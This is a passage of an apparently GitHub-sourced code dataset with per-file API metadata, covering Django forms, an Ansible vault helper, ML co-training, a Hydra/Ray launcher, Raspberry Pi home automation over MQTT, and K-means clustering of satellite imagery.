44, "usage_type": "attribute"}]}
{"seq_id": "33185326970", "text": "from django.forms import ModelForm\nfrom .models import Book, Review,Genre\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.forms.widgets import NumberInput\n\n\nclass Book_Form(ModelForm):\n    genres = forms.ModelMultipleChoiceField(\n        queryset=Genre.objects.all(),\n        widget=forms.CheckboxSelectMultiple\n    )\n    class Meta:\n        model = Book\n        fields = ['title', 'author', 'genres', 'pub_date_book', 'summary']\n        labels = {\n            'pub_date_book': 'Publication date',\n            'summary': 'Book summary'\n        }\n        widgets = {\n            'pub_date_book': NumberInput(attrs={'type': 'date'}),\n            # 'genres': forms.CheckboxSelectMultiple\n        }\n\n\nCHOICES = (\n    (\"1\", 1),\n    (\"2\", 2),\n    (\"3\", 3),\n    (\"4\", 4),\n    (\"5\", 5)\n)\n\n\nclass Review_Form(ModelForm):\n    stars = forms.ChoiceField(choices=CHOICES, initial=0, widget=forms.RadioSelect())\n\n    class Meta:\n        model = Review\n        fields = ['title', 'content', 'stars']\n        labels = {\n            'title': 'Review Title',\n            'content': 'Review',\n            'stars': 'Rating',\n        }\n        widgets = {\n        }\n\n\nclass SignupForm(UserCreationForm):\n    email = forms.EmailField(max_length=200, help_text='Required')\n\n    class Meta:\n        model = User\n        fields = ('username', 'email', 'password1', 'password2')", "repo_name": "ananasek727/django_book_review", "sub_path": "base/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1440, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.ModelForm", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.ModelMultipleChoiceField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "models.Genre.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Genre.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Genre", "line_number": 11, "usage_type": "name"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "models.Book", "line_number": 15, "usage_type": "name"}, {"api_name": "django.forms.widgets.NumberInput", "line_number": 22, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 36, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 37, "usage_type": "name"}, {"api_name": "django.forms.RadioSelect", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Review", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 51, "usage_type": "name"}, {"api_name": "django.forms.EmailField", "line_number": 52, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 52, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "10876874612", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#Adapted from https://gist.github.com/filipenf/2cc72af47e3570afaa9d3bf2e71658c3\n\nimport sys\nimport yaml\nimport argparse\nfrom ansible.parsing.vault import VaultLib\nfrom ansible.cli import CLI\nfrom ansible import constants as C\nfrom ansible.parsing.dataloader import DataLoader\nfrom ansible.parsing.yaml.dumper import AnsibleDumper\nfrom ansible.parsing.yaml.loader import AnsibleLoader\nfrom ansible.parsing.yaml.objects import AnsibleVaultEncryptedUnicode\n\n\nclass VaultHelper():\n    def __init__(self, vault_id):\n        loader = DataLoader()\n        vaults = [v for v in C.DEFAULT_VAULT_IDENTITY_LIST if v.startswith('{0}@'.format(vault_id))]\n        if len(vaults) != 1:\n            raise ValueError(\"'{0}' does not exist in ansible.cfg '{1}'\".format(vault_id, C.DEFAULT_VAULT_IDENTITY_LIST))\n\n        self.vault_id = vault_id\n        vault_secret = CLI.setup_vault_secrets(\n            loader=loader,\n            vault_ids=vaults\n        )\n        self.vault = VaultLib(vault_secret)\n\n\n    def convert_vault_to_strings(self, vault_data):\n        decrypted = self.vault.decrypt(vault_data)\n        d = yaml.load(decrypted, Loader=AnsibleLoader)\n        self._encrypt_dict(d)\n        return d\n\n\n    def _encrypt_dict(self, d):\n        for key in d:\n            value = d[key]\n            if isinstance(value, str):\n                d[key] = AnsibleVaultEncryptedUnicode(\n                    self.vault.encrypt(plaintext=value, vault_id=self.vault_id))\n            elif isinstance(value, list):\n                for item in value:\n                    self._encrypt_dict(item)\n            elif isinstance(value, dict):\n                self._encrypt_dict(value)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--input-file',\n                        help='File to read from',\n                        required=True)\n    parser.add_argument('--output-file',\n                        help='File to to write to',\n                        required=True)\n    parser.add_argument('--vault-id',\n                        help='Vault id used for the encryption',\n                        required=True)\n    args = parser.parse_args()\n    original_secrets = open(args.input_file).read()\n    vault = VaultHelper(args.vault_id)\n    converted_secrets = vault.convert_vault_to_strings(original_secrets)\n\n    with open(args.output_file, 'w+') as f:\n        yaml.dump(converted_secrets, Dumper=AnsibleDumper, stream=f)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "srgvg/dotfiles", "sub_path": "bin/ansible-vault-yamlize.py", "file_name": "ansible-vault-yamlize.py", "file_ext": "py", "file_size_in_byte": 2509, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ansible.parsing.dataloader.DataLoader", "line_number": 20, "usage_type": "call"}, {"api_name": "ansible.constants.DEFAULT_VAULT_IDENTITY_LIST", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ansible.constants", "line_number": 21, "usage_type": "name"}, {"api_name": "ansible.constants.DEFAULT_VAULT_IDENTITY_LIST", "line_number": 23, "usage_type": "attribute"}, {"api_name": "ansible.constants", "line_number": 23, "usage_type": "name"}, {"api_name": "ansible.cli.CLI.setup_vault_secrets", "line_number": 26, "usage_type": "call"}, {"api_name": "ansible.cli.CLI", "line_number": 26, "usage_type": "name"}, {"api_name": "ansible.parsing.vault.VaultLib", "line_number": 30, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 35, "usage_type": "call"}, {"api_name": "ansible.parsing.yaml.loader.AnsibleLoader", "line_number": 35, "usage_type": "name"}, {"api_name": "ansible.parsing.yaml.objects.AnsibleVaultEncryptedUnicode", "line_number": 44, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 54, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 70, "usage_type": "call"}, {"api_name": "ansible.parsing.yaml.dumper.AnsibleDumper", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "23265319821", "text": "from sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import classification_report\nfrom sklearn.datasets import make_classification\nfrom sklearn.calibration import CalibratedClassifierCV\nfrom classifiers import CoTrainingClassifier\nimport os\n\n\nif __name__ == '__main__':\n\tN_SAMPLES = 25000\n\tN_FEATURES = 1000\n\tX, y = make_classification(n_samples=N_SAMPLES, n_features=N_FEATURES)\n\n\ty[:N_SAMPLES//2] = -1\n\n\tX_test = X[-N_SAMPLES//4:]\n\ty_test = y[-N_SAMPLES//4:]\n\n\tX_labeled = X[N_SAMPLES//2:-N_SAMPLES//4]\n\ty_labeled = y[N_SAMPLES//2:-N_SAMPLES//4]\n\n\ty = y[:-N_SAMPLES//4]\n\tX = X[:-N_SAMPLES//4]\n\n\n\tX1 = X[:,:N_FEATURES // 2]\n\tX2 = X[:, N_FEATURES // 2:]\n\n\n\tf = open(\"result.txt\", \"w+\")\n\n\tprint('Logistic')\n\tbase_lr = LogisticRegression()\n\tbase_lr.fit(X_labeled, y_labeled)\n\ty_pred = base_lr.predict(X_test)\n\tlr_result = classification_report(y_test, y_pred)\n\tprint(lr_result)\n\tf.write(\"Logistic\")\n\tf.write(\"\\n======================================================\\n\")\n\tf.write(str(lr_result))\n\tf.write(\"\\n======================================================\\n\\n\")\n\n\tprint('Logistic CoTraining')\n\tlg_co_clf = CoTrainingClassifier(LogisticRegression())\n\tlg_co_clf.fit(X1, X2, y)\n\ty_pred = lg_co_clf.predict(X_test[:, :N_FEATURES // 2], X_test[:, N_FEATURES // 2:])\n\tco_lr_result = classification_report(y_test, y_pred)\n\tprint(co_lr_result)\n\tf.write(\"Logistic CoTraining\")\n\tf.write(\"\\n======================================================\\n\")\n\tf.write(str(co_lr_result))\n\tf.write(\"\\n======================================================\\n\\n\")\n\n\tprint('SVM')\n\tbase_svm = LinearSVC(dual=False)\n\tbase_svm.fit(X_labeled, y_labeled)\n\ty_pred = base_svm.predict(X_test)\n\tsvm_result = classification_report(y_test, y_pred)\n\tprint(svm_result)\n\tf.write(\"SVM\")\n\tf.write(\"\\n======================================================\\n\")\n\tf.write(str(svm_result))\n\tf.write(\"\\n======================================================\\n\\n\")\n\t\n\tprint('SVM CoTraining')\n\tsvm = LinearSVC(dual=False)\n\tclf = CalibratedClassifierCV(svm)\n\tsvm_co_clf = CoTrainingClassifier(clf, u=N_SAMPLES//10)\n\tsvm_co_clf.fit(X1, X2, y)\n\ty_pred = svm_co_clf.predict(X_test[:, :N_FEATURES // 2], X_test[:, N_FEATURES // 2:])\n\tco_svm_result = classification_report(y_test, y_pred)\n\tprint(co_svm_result)\n\tf.write(\"SVM CoTraining\")\n\tf.write(\"\\n======================================================\\n\")\n\tf.write(str(co_svm_result))\n\tf.write(\"\\n======================================================\\n\\n\")\n\n\tf.close()\n\n\tprint(\"=== Process done, check result.txt file for the output. === \\n\")\n\tos.system(\"pause\")", "repo_name": "Willy030125/Co-training", "sub_path": "Run_Co-training.py", "file_name": "Run_Co-training.py", "file_ext": "py", "file_size_in_byte": 2647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.datasets.make_classification", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 38, "usage_type": "call"}, {"api_name": "classifiers.CoTrainingClassifier", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.calibration.CalibratedClassifierCV", "line_number": 69, "usage_type": "call"}, {"api_name": "classifiers.CoTrainingClassifier", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 73, "usage_type": "call"}, {"api_name": "os.system", "line_number": 83, "usage_type": "call"}]}
{"seq_id": "1875421758", "text": "import logging\nimport functools\n\nfrom omegaconf import open_dict\nfrom omegaconf import OmegaConf\nfrom omegaconf import DictConfig\n\nfrom hydra._internal.config_search_path import ConfigSearchPath\nfrom hydra._internal.pathlib import Path\nfrom hydra.plugins import Launcher\nfrom hydra.plugins import SearchPathPlugin\nfrom hydra.plugins.common.utils import (\n    configure_log,\n    filter_overrides,\n    run_job,\n    setup_globals,\n    HydraConfig,\n)\n\nimport ray\n\nlog = logging.getLogger(__name__)\n\ndef get_key(cfg, key):\n    if key == '':\n        return cfg\n    else:\n        keys = key.split('.')\n        if keys[0] in cfg:\n            return get_key(getattr(cfg, keys[0]), '.'.join(keys[1:]))\n        else:\n            return False\n\ndef merge_kwargs(kwargs1, kwargs2):\n    k1 = kwargs1 if isinstance(kwargs1, DictConfig) else OmegaConf.create(kwargs1)\n    k2 = kwargs2 if isinstance(kwargs2, DictConfig) else OmegaConf.create(kwargs2)\n    merged = OmegaConf.merge(k1,k2)\n    return merged.to_container(resolve=True)\n\ndef pass_conf(f, cfg, key):\n    item = get_key(cfg, key)\n    if item:\n        @functools.wraps(f)\n        def wrapper(*args, **kwargs):\n            return f(*args, **merge_kwargs(item, kwargs))\n        return wrapper\n    else:\n        return f\n\nclass RayLauncherSearchPathPlugin(SearchPathPlugin):\n    \"\"\"\n    This plugin is allowing configuration files provided by the ExampleLauncher plugin to be discovered\n    and used once the ExampleLauncher plugin is installed\n    \"\"\"\n\n    def manipulate_search_path(self, search_path):\n        assert isinstance(search_path, ConfigSearchPath)\n        # Appends the search path for this plugin to the end of the search path\n        search_path.append(\n            \"hydra-ray-launcher-badr\", \"pkg://hydra_plugins.ray_launcher_badr.conf\"\n        )\n\ndef launch(*args, **kwargs):\n    setup_globals()\n    run_job(*args, **kwargs)\n\nclass RayLauncher(Launcher):\n    def __init__(self):\n        self.config = None\n        self.config_loader = None\n        self.task_function = None\n\n    def setup(self, config, config_loader, task_function):\n        self.config = config\n        self.config_loader = config_loader\n        self.task_function = task_function\n        \n        if not ray.is_initialized(): pass_conf(ray.init, config, 'ray.init')()\n\n    def launch(self, job_overrides):\n        \"\"\"\n        :param job_overrides: a List of List<String>, where each inner list is the arguments for one job run.\n        :return: an array of return values from run_job with indexes corresponding to the input list indexes.\n        \"\"\"\n        configure_log(self.config.hydra.hydra_logging, self.config.hydra.verbose)\n        sweep_dir = Path(str(self.config.hydra.sweep.dir))\n        sweep_dir.mkdir(parents=True, exist_ok=True)\n        log.info(\n            \"Ray Launcher is launching {} jobs locally\".format(\n                len(job_overrides)\n            )\n        )\n        log.info(\"Sweep output dir : {}\".format(sweep_dir))\n        runs = []\n\n        for idx, overrides in enumerate(job_overrides):\n            log.info(\"\\t#{} : {}\".format(idx, \" \".join(filter_overrides(overrides))))\n            sweep_config = self.config_loader.load_sweep_config(\n                self.config, list(overrides)\n            )\n            with open_dict(sweep_config):\n                # This typically coming from the underlying scheduler (SLURM_JOB_ID for instance)\n                # In that case, it will not be available here because we are still in the main process.\n                # but instead should be populated remotely before calling the task_function.\n                sweep_config.hydra.job.id = idx\n                sweep_config.hydra.job.num = idx\n            HydraConfig().set_config(sweep_config)\n\n            ray_remote_cfg = get_key(self.config, 'ray.remote')\n            if ray_remote_cfg:\n                run_job_ray = ray.remote(**ray_remote_cfg)(launch)\n            else:\n                run_job_ray = ray.remote(launch)\n\n            ret = run_job_ray.remote(\n                config=sweep_config,\n                task_function=self.task_function,\n                job_dir_key=\"hydra.sweep.dir\",\n                job_subdir_key=\"hydra.sweep.subdir\",\n            )\n\n            runs.append(ret)\n            configure_log(self.config.hydra.hydra_logging, self.config.hydra.verbose)\n        \n        return [ray.get(run) for run in runs]", "repo_name": "BadrYoubiIdrissi/hydra-plugins", "sub_path": "badr_ray_launcher/hydra_plugins/ray_launcher_badr/ray_launcher.py", "file_name": "ray_launcher.py", "file_ext": "py", "file_size_in_byte": 4381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "omegaconf.DictConfig", "line_number": 35, "usage_type": "argument"}, {"api_name": "omegaconf.OmegaConf.create", "line_number": 35, "usage_type": "call"}, {"api_name": "omegaconf.OmegaConf", "line_number": 35, "usage_type": "name"}, {"api_name": "omegaconf.DictConfig", "line_number": 36, "usage_type": "argument"}, {"api_name": "omegaconf.OmegaConf.create", "line_number": 36, "usage_type": "call"}, {"api_name": "omegaconf.OmegaConf", "line_number": 36, "usage_type": "name"}, {"api_name": "omegaconf.OmegaConf.merge", "line_number": 37, "usage_type": "call"}, {"api_name": "omegaconf.OmegaConf", "line_number": 37, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 43, "usage_type": "call"}, {"api_name": "hydra.plugins.SearchPathPlugin", "line_number": 50, "usage_type": "name"}, {"api_name": "hydra._internal.config_search_path.ConfigSearchPath", "line_number": 57, "usage_type": "argument"}, {"api_name": "hydra.plugins.common.utils.setup_globals", "line_number": 64, "usage_type": "call"}, {"api_name": "hydra.plugins.common.utils.run_job", "line_number": 65, "usage_type": "call"}, {"api_name": "hydra.plugins.Launcher", "line_number": 67, "usage_type": "name"}, {"api_name": "ray.is_initialized", "line_number": 78, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 78, "usage_type": "attribute"}, {"api_name": "hydra.plugins.common.utils.configure_log", "line_number": 85, "usage_type": "call"}, {"api_name": "hydra._internal.pathlib.Path", "line_number": 86, "usage_type": "call"}, {"api_name": "hydra.plugins.common.utils.filter_overrides", "line_number": 97, "usage_type": "call"}, {"api_name": "omegaconf.open_dict", "line_number": 101, "usage_type": "call"}, {"api_name": "hydra.plugins.common.utils.HydraConfig", "line_number": 107, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 111, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 113, "usage_type": "call"}, {"api_name": "hydra.plugins.common.utils.configure_log", "line_number": 123, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "30167902864", "text": "import RPi.GPIO as GPIO\r\nimport Adafruit_DHT\r\nimport argparse\r\nimport signal\r\nimport sys\r\nfrom threading import Thread\r\nfrom random import randint\r\nfrom paho.mqtt.client import Client as mqtt\r\nfrom time import sleep\r\n\r\n# Parsing per disabilitare l'utilizzo del sensore di temperatura\r\n# e abilitare valori randomici\r\nparser = argparse.ArgumentParser(description='Argument parsing')\r\nparser.add_argument('-r', '--random', action='store_true', help='Generate random values for temperature.')\r\nargs = parser.parse_args()\r\n\r\n# CONNESSIONE MQTT\r\nBroker=mqtt(client_id=\"raspberry\")\r\nBroker.connect(\"localhost\", 1883)\r\n\r\n# DOOR CONFIG\r\nDOOR_LED = 19\r\nDOOR_PIN = 18\r\n\r\n# MAIN_LIGHT CONFIG\r\nLIGHT_LED = 26\r\nLIGHT_PIN = 23\r\n\r\n# AIR_CONDITIONER CONFIG\r\nHOT_AIR_PIN = 24\r\nCOLD_AIR_PIN = 25\r\n\r\n# IMPOSTA I GPIO IN MODALITÀ BCM\r\nGPIO.setmode(GPIO.BCM)\r\n\r\n# ABILITAZIONE GPIO DOOR\r\nGPIO.setup(DOOR_LED, GPIO.OUT)\r\nGPIO.setup(DOOR_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)\r\n\r\n# ABILITAZIONE GPIO MAIN_LIGHT\r\nGPIO.setup(LIGHT_LED, GPIO.OUT)\r\nGPIO.setup(LIGHT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)\r\n\r\n# ABILITAZIONE GPIO AIR_CONDITIONER\r\nGPIO.setup(HOT_AIR_PIN, GPIO.OUT)\r\nGPIO.setup(COLD_AIR_PIN, GPIO.OUT)\r\n\r\n# VARIABILI DI STATO DOOR E MAIN_LIGHT\r\ndoor_state = False  \r\nlight_state = False\r\n\r\n# CTRL+C HANDLER\r\ndef signal_handler(sig, frame):\r\n    # PULIZIA DEL BUFFER GPIO\r\n    GPIO.cleanup()\r\n    sys.exit(0)\r\n\r\n# Imposta il gestore del segnale di interruzione\r\nsignal.signal(signal.SIGINT, signal_handler)\r\n\r\ndef manage_temp(temperature):\r\n    if temperature < 13:\r\n        msg = \"hot_air\"\r\n        GPIO.output(HOT_AIR_PIN, GPIO.HIGH)\r\n        GPIO.output(COLD_AIR_PIN, GPIO.LOW)\r\n\r\n    elif temperature > 23:\r\n        msg = \"cold_air\"\r\n        GPIO.output(HOT_AIR_PIN, GPIO.LOW)\r\n        GPIO.output(COLD_AIR_PIN, GPIO.HIGH)\r\n    else:\r\n        msg = \"off\"\r\n        GPIO.output(HOT_AIR_PIN, GPIO.LOW)\r\n        GPIO.output(COLD_AIR_PIN, GPIO.LOW)\r\n\r\n    return msg\r\n\r\ndef measure_temp():\r\n    while True:\r\n        if not args.random:\r\n            try:\r\n                # MISURA CON SENSORE DI TEMPERATURA\r\n                _, temperature = Adafruit_DHT.read_retry(11, 4)\r\n                msg = manage_temp(temperature)\r\n            except:\r\n                msg = \"off\"\r\n        else:\r\n            msg = manage_temp(randint(0, 40))\r\n        \r\n        Broker.publish(topic=\"temperature\", payload=str(msg))\r\n        sleep(2)\r\n\r\n\r\ndef door_button_callback(channel):\r\n    global door_state\r\n    \r\n    if door_state:\r\n        msg = \"close\"\r\n        GPIO.output(DOOR_LED, GPIO.LOW)\r\n        door_state = False\r\n\r\n    else:\r\n        msg = \"open\"\r\n        GPIO.output(DOOR_LED, GPIO.HIGH)\r\n        door_state = True\r\n    \r\n    Broker.publish(topic=\"door\", payload=str(msg))\r\n\r\n\r\ndef light_button_callback(channel):\r\n    global light_state\r\n    \r\n    if light_state:\r\n        msg = \"off\"\r\n        GPIO.output(LIGHT_LED, GPIO.LOW)\r\n        light_state = False\r\n    else:\r\n        msg = \"on\"\r\n        GPIO.output(LIGHT_LED, GPIO.HIGH)\r\n        light_state = True\r\n    \r\n    Broker.publish(topic=\"main_light\", payload=str(msg))\r\n\r\n# AGGIUNTA EVENTI AL CLICK SUI TASTI\r\nGPIO.add_event_detect(DOOR_PIN, GPIO.FALLING, callback=door_button_callback, bouncetime=200)\r\nGPIO.add_event_detect(LIGHT_PIN, GPIO.FALLING, callback=light_button_callback, bouncetime=200)\r\n\r\n# THREAD MISURA TEMPERATURA\r\ntemp_thread = Thread(target=measure_temp)\r\ntemp_thread.start()\r\n\r\ntry:\r\n    while True:\r\n        pass\r\n\r\nfinally:\r\n    GPIO.cleanup()\r\n\r\n", "repo_name": "dannydenovi/DigitalTwin", "sub_path": "home.py", "file_name": "home.py", "file_ext": "py", "file_size_in_byte": 3502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 18, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 34, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 34, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 34, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 37, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 37, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 38, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 38, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 38, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.PUD_UP", "line_number": 38, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 41, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 41, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 42, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 42, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 42, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.PUD_UP", "line_number": 42, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 45, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 45, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 45, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 46, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 46, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 46, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 55, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 55, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 59, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 64, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 64, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 64, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 65, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 65, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 65, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 69, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 69, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 69, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 70, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 70, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 70, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 73, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 73, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 73, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 74, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 74, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 74, "usage_type": "attribute"}, {"api_name": "Adafruit_DHT.read_retry", "line_number": 83, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 88, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 99, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 99, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 99, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 104, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 104, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 104, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 115, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 115, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 115, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 119, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 119, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 119, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.add_event_detect", "line_number": 125, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 125, "usage_type": "name"}, {"api_name": "RPi.GPIO.FALLING", "line_number": 125, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.add_event_detect", "line_number": 126, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 126, "usage_type": "name"}, {"api_name": "RPi.GPIO.FALLING", "line_number": 126, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 129, "usage_type": "call"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 137, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 137, "usage_type": "name"}]}
{"seq_id": "32700005418", "text": "\"\"\"this is a test code\"\"\"\nfrom sklearn.cluster import KMeans\nimport gdal\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\nworkspace_path = os.path.dirname(__file__)\n\n\nraster_path = workspace_path + \"/PL_PS_20200723T0742_ALL_Tile_0_0_qKSm9prB.tif\"\n\ndataset = gdal.Open(raster_path, gdal.GA_ReadOnly)\nnumpy_array = dataset.ReadAsArray().astype(np.float)\nnbands = dataset.RasterCount\n# Getting Dataset Information\nprint(\"Driver: {}/{}\".format(dataset.GetDriver().ShortName, dataset.GetDriver().LongName))\nprint(\"Size is {} x {} x {}\".format(dataset.RasterXSize,\n                                    dataset.RasterYSize,\n                                    dataset.RasterCount))\n\n# create an empty array, each column of the empty array will hold one band of data from the image\n# loop through each band in the image nad add to the data array\ndata = np.empty((dataset.RasterXSize*dataset.RasterYSize, nbands))\nfor i in range(1, nbands+1):\n    band = dataset.GetRasterBand(i).ReadAsArray()\n    data[:, i-1] = band.flatten()\nprint(data.shape)\n\n# set up the kmeans classification, fit, and predict\nkm = KMeans(n_clusters=8)\nkm.fit(data)\nkm.predict(data)\n\n# format the predicted classes to the shape of the original image\nout_dat = km.labels_.reshape((dataset.RasterYSize, dataset.RasterXSize))\nprint(out_dat.shape)\n\n# displaying the output\nplt.figure(figsize=(20, 20))\nplt.imshow(out_dat, cmap=\"hsv\")\nplt.show()\n", "repo_name": "winmanuel/AUTOMATIC-ANALYSIS-OF-BUILDING-FOOTPRINTS-WITH-VERY-HIGH-RESOLUTION-SATELLITE-IMAGERY", "sub_path": "backup.py", "file_name": "backup.py", "file_ext": "py", "file_size_in_byte": 1416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "gdal.Open", "line_number": 13, "usage_type": "call"}, {"api_name": "gdal.GA_ReadOnly", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 41, "usage_type": "call"}, 